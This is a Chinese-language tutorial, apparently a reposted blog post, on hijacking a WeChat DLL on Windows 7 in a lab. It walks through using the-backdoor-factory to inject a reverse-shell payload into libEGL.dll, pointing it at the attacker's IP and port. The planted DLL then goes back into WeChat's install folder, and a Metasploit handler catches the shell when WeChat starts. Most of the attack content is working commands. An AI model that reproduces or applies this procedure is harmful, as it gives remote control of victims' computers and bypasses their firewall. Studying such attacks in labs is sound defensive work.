Windows dll劫持

一. 准备工作

1. 测试环境

虚拟环境搭建:VMware Workstation 15 pro

网络模式:桥接模式

攻击机:kali Linux 2019.1 IP:192.168.43.143

靶机:Windows 7 ultimate sp1 x64 IP:192.168.43.109

微信版本:2.6.8

2. 使用工具

the-backdoor-factory(BDF):用于DLL注入

Process Explorer:用于查找DLL文件

Metasploit

二. 复现过程

1.DLL注入

1.1安装BDF

在kali系统中安装BDF

root@kali:~# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
root@kali:~# cd the-backdoor-factory/
root@kali:~/the-backdoor-factory# ./install.sh

1.2获取DLL文件

使用Process Explorer查找微信客户端需要的dll文件
Windows dll劫持_第1张图片
理论上来讲路径在微信安装目录里的dll文件都可以使用,本文选择的是libEGL.dll。

1.3DLL注入

把选择的DLL文件放入kali系统中,放置在the-backdoor-factory文件下内,运行如下命令

./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.43.143

其中,-f 表示被劫持的DLL 文件,-s 表示shell 的类型,-P 表示DLL 要连接远程主机的端口,-H 表示DLL 连接的远程主机,注意参数的大小写问题。
Windows dll劫持_第2张图片
接下来选择注入类型,我这里只有一个类型可以选择,有的会有多种,可以自行尝试。在注入完成后,可以看到生成的文件在backdoored目录中。

Windows dll劫持_第3张图片

2.反弹shell

2.1将dll文件放回微信的安装目录中

2.2使用Metasploit反弹shell

打开MSF,设置exploit和payload

use exploit/multi/handler
set payload windows/shell_reverse_tcp

设置好lhost和lport之后,使用exploit运行,监听shell。此时,在靶机中打开微信客户端,即接收到shell。
Windows dll劫持_第4张图片

靶机里是开着Windows防火墙的,但是依然没有拦住,但是由于是win7,win10还没有试,等哪天有空试一下,看看defender能不能拦住(如果dll报毒直接没戏,不报毒应该可以)。

你可能感兴趣的:(移动应用安全,dll,劫持,微信,shell,win10)